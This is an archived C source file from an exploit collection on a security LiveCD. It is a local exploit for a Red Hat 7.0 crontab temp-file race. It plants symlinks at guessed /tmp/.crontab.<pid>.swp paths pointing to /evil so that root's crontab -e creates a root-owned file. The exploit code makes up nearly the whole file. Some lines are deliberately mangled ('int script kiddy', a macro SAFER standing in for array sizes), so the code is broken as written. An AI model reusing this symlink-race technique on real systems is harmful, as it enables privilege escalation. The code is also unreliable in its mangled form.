home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / crontab-race.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  78 lines

  1. /*******************************************************************
  2.              Crontab tmp file race condition
  3.  
  4.    http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=37771
  5.  
  6.    Apparently this is fixed. Wonder why it still works. 
  7.       -- zen-parse
  8.  
  9.                      Local exploit
  10.  
  11.    Quick and dirty exploit for crontab insecure tmp files
  12.    Redhat 7.0 - kept up2date with up2date
  13.    Checked Tue Jun 26 00:15:32 NZST 2001
  14.    -rw-------    1 root     root         4096 Jun 26 00:15 evil
  15.  
  16.    Requires root to execute crontab -e while the program is
  17.    running.
  18.  
  19.    Not really likely to be too big of a problem, I hope.
  20.  
  21.    Could possibly be useful with the (still unpatched) 
  22.    makewhatis.cron bug.
  23.  
  24. /*******************************************************************
  25.  #define SAFER [1000]
  26. /*******************************************************************/
  27. int shake(int script kiddy)
  28. {
  29.  int f;
  30.  char r SAFER;
  31.  int w;
  32.  
  33.  f=fopen("/proc/loadavg","r"); 
  34.  fscanf(f,"%*s %*s %*s %*s %s",r);
  35.  fclose(f);
  36.  w=atoi(r);
  37.  return w;
  38. }
  39.  
  40. main(int argc,char *argv[])
  41. {
  42.  int p;
  43.  char v SAFER;
  44.  sprintf(v,"/tmp/.crontab.%d.swp",shake());
  45.  symlink("/evil",v);
  46.  while(access("/evil",0))
  47.  {
  48.   for(p=-30;p<0;p++)
  49.   {
  50.    sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
  51.    symlink("/evil",v);
  52.   }
  53.   sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
  54.   unlink(v);
  55.  }
  56.  for(p=-100;p<0;p++)
  57.  {
  58.   sprintf(v,"/tmp/.crontab.%d.swp",shake()-p);
  59.   unlink(v);
  60.  }
  61. }
  62.  
  63.  /*****************************************************************
  64.  **   ***   *       **       *********      ***********************
  65.  **    *    *   **   ******   *******   **   **********************
  66.  **         *   **   **      ********   *******   ***      ********
  67.  **   * *   *       *******   *******   ******  *  *  *  *  *******
  68.  **   ***   *   ***********   **   **   **   *  *  *  *  *  *******
  69.  **   ***   *   ******       ***   ***      ***   **  ****  *******
  70.  *****************************************************************/
  71.          //   
  72.         //  xxxx   xxx    xxx   x   x
  73.        //  xx     x   x  x      x   x
  74.       //   xx     x   x   xxx   x   x
  75.      //    xx     x   x      x   x x  
  76.     //      xxxx   xxx    xxx     x
  77.  
  78.